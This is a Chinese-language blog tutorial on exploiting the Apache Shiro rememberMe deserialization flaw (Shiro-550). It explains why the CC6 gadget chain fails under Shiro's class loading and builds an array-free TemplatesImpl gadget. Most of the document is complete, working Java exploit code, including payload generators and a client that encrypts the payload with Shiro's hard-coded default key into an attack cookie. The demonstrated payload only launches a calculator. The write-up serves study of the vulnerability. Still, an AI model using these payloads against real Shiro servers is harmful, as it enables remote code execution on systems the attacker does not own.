TemplatesImpl在Shiro中的利用
通过TemplatesImpl
构造的利用链,理论上可以执行任意Java代码,它不受到对于链的限制,特别是内存马逐渐流行之后,执行任意Java代码的需求就更加浓烈。
这篇继续跟着p牛,以Shiro反序列化漏洞为例实际使用一下TemplatesImpl
。
使用CC6攻击Shiro
先来说一下Shiro反序列化原理:为了让浏览器或服务器重启后不丢失登录状态,Shiro支持持久化信息序列化并加密后保存在Cookie、的rememberMe字段中,下次读取时进行解密再反序列化。但是在Shiro 1.2.4版本之前内置了一个默认且固定的加密Key,导致攻击者可以为在任意的rememberMe Cookie,进而触发反序列化漏洞。
这里我们直接用P牛的这个登录应用,可以在IDEA上右键运行
输入正确的账号密码,root/secret,成功登陆:
如果登录时选择了remember me的多选框,那么登录成功后服务端会返回一个rememberMe的Cookie:
诶🤓👆接下来就是攻击时间:
- 用前面学的CC链生成一个序列化Payload
- 用Shiro默认Key进行加密
- 将密文作为rememberMe的Cookie发送给服务端
前两步整成了一个Client0.java
,其中我们用到了CC6
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CommonsCollections6 { public byte[] getPayload(String command) throws Exception { Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { command }), new ConstantTransformer(1), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap(); expMap.put(tme, "valuevalue");
outerMap.remove("keykey");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers"); f.setAccessible(true); f.set(transformerChain, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close();
return barr.toByteArray(); } }
|
1 2 3 4 5 6 7 8 9 10 11 12
| import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource;
public class Client0 { public static void main(String []args) throws Exception { byte[] payloads = new CommonsCollections6().getPayload("calc.exe"); AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }
|
加密的过程用了Shiro内置类org.apache.shiro.crypto.AesCipherService
,最后生成一段base64字符串。
然后我们直接把这段字符串作为rememberMe的值(不做url编码),发送给shiro。结果Tomcat出现报错
冲突与限制
首先呢我们找到org.apache.shiro.io.ClassResolvingObjectInputStream
这个类。这个是ObjectInputStream
的子类,它重写了resolveClass
这个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class ClassResolvingObjectInputStream extends ObjectInputStream { public ClassResolvingObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); }
protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { try { return ClassUtils.forName(osc.getName()); } catch (UnknownClassException var3) { UnknownClassException e = var3; throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e); } } }
|
resolveClass
是反序列化中用来查找类的方法,就是在读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的java.lang.class
对象。
那我们再来看一下正常的ObjectInputStream
类中的resolveClass
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); try { return Class.forName(name, false, latestUserDefinedLoader()); } catch (ClassNotFoundException ex) { Class<?> cl = primClasses.get(name); if (cl != null) { return cl; } else { throw ex; } } }
|
前面这个用的是org.apache.shiro.util.ClassUtils#forname
(实际上内部用到了org.apache.catalina.loader.Para;;e;webappClassLoader#loadClass
),而后者用的是Java原生的Class.forname
那么,为了弄清楚是哪个类造成了异常,我们在异常的地方打个断点
出异常时加载的类名为[Lorg.apache.commons.collections.Transformer
。[L
是JVM的一个标识表示这是一个数组,这一整个表示的就是org.apache.commons.collections.Transformer
的数组
实际上是如果在反序列化流中包含非java自身的数组,那么会出现无法加载类的错误。CC6中就是因为出现Transformer数组才无法利用。所以我们要构造一个不含数组的反序列化Gadget。
不含数组的反序列化Gadget
这里我们就要用到前面讲的TemplatesImpl
了,在前面的学习中我们知道可以通过下面这几行代码来执行一段Java的字节码:
1 2 3 4 5
| TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); obj.newTransformer();
|
然后在CC3这篇我们又知道了用InvokerTransformer
来调用TransformerImpl#newTransformer
方法:
1 2 3 4
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(obj), new InvokerTransformer("newTransformer",null,null) };
|
但这里我们还是用到了Transformer数组,接下来就是想如何取出这一过程的Transformer数组
在CC6
中,我们有用过一个类TiedMapEntry
,其构造方法接受两个参数,参数1是一个Map,参数2是一个key。TiedMapEntry
类有个getValue
fangfa 调用了map的get方法,并传入key:
1 2 3
| public Object getValue() { return this.map.get(this.key); }
|
那么当这个map是LazyMap时,其get方法就是触发transform的关键点:
1 2 3 4 5 6 7 8 9
| public Object get(Object key) { if (!this.map.containsKey(key)) { Object value = this.factory.transform(key); this.map.put(key, value); return value; } else { return this.map.get(key); } }
|
我们之前用LazyMap没有关注过这个参数key,因为通常Transformer数组的首个对象是ContantTransformer,我们通过ConstantTransformer来初始化恶意对象。
但此时我们无法用Transformer数组了,那么也就不能用ConstantTransformer,但从上面的代码中可以发现这个参数key会被传入transformer()
,所以它可以扮演ConstantTransformer
的角色——一个简单的对象传递者。
那么我们再回去看前面的Transformer数组:
1 2 3 4
| Transformer[] transformers = new Transformer[]{ new ConstantTransformer(obj), new InvokerTransformer("newTransformer",null,null) };
|
这里的new ContentTransformer(obj)
这一步就可以完全去除了,数组长度变成了1,那也就不需要数组了。
那么接下来我们就来改造一下我们的CC6
改造CommonsCollections6为CommonsCollectionsShiro
首先还是创建TemplatesImpl对象:
1 2 3 4
| TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
|
然后我们创建一个用来调用newTramsformer方法的InvokerTransormer,此时需要先传入一个人畜无害的方法,比如getClass
,避免恶意方法在构造Gadget的时候触发:
1
| Transformer transformer = new InvokerTransformer("getClass", null, null);
|
然后我们再把老的CC6代码复制过来,改掉上一节说到的点,将原来TiedMapEntry构造时的第二个参数key,改为前面创建的TemplatesImpl
对象:
1 2 3 4 5 6 7 8 9
| Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap(); expMap.put(tme, "valuevalue");
outerMap.clear();
|
这与之前的CC6不同的是,之前是使用outerMap.remove("keykey");
来移除key的副作用,现在是通过outerMap.clear()
,效果相同。
完整代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CommonsCollectionsShiro { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public byte[] getPayload(byte[] clazzBytes) throws Exception { TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][] {clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer transformer = new InvokerTransformer("getClass", null, null); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap(); expMap.put(tme, "valuevalue");
outerMap.clear(); setFieldValue(transformer, "iMethodName", "newTransformer");
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close();
return barr.toByteArray(); } }
|
使用CommonsCollectionsShiro攻击Shiro
写了个Client类来装配上面的CommonsCollectionsShiro:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import javassist.ClassPool; import javassist.CtClass; import org.apache.shiro.crypto.AesCipherService; import org.apache.shiro.util.ByteSource;
public class Client { public static void main(String[] args) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(org.example.test.testCalc.class.getName()); byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());
AesCipherService aes = new AesCipherService(); byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key); System.out.printf(ciphertext.toString()); } }
|
这里用到了javassist,这是一个字节码操纵的第三方库,可以帮我们把恶意类com.govuln.shiroattack.Evil
生成字节码再交给TemplatesImpl
。
把生成的POC,在Cookie里进行发送,成功弹出计算器
但还有几点需要注意
- Shiro不是遇到Tomcat就一定会有数组这个问题
- Shiro-550的修复并不意味着反序列化漏洞的修复,只是默认key被溢出了
- 不建议上来就装Commons-collectiongs4.0,这个没有代表性,不建议将shiro和Commons-Collections结合起来学习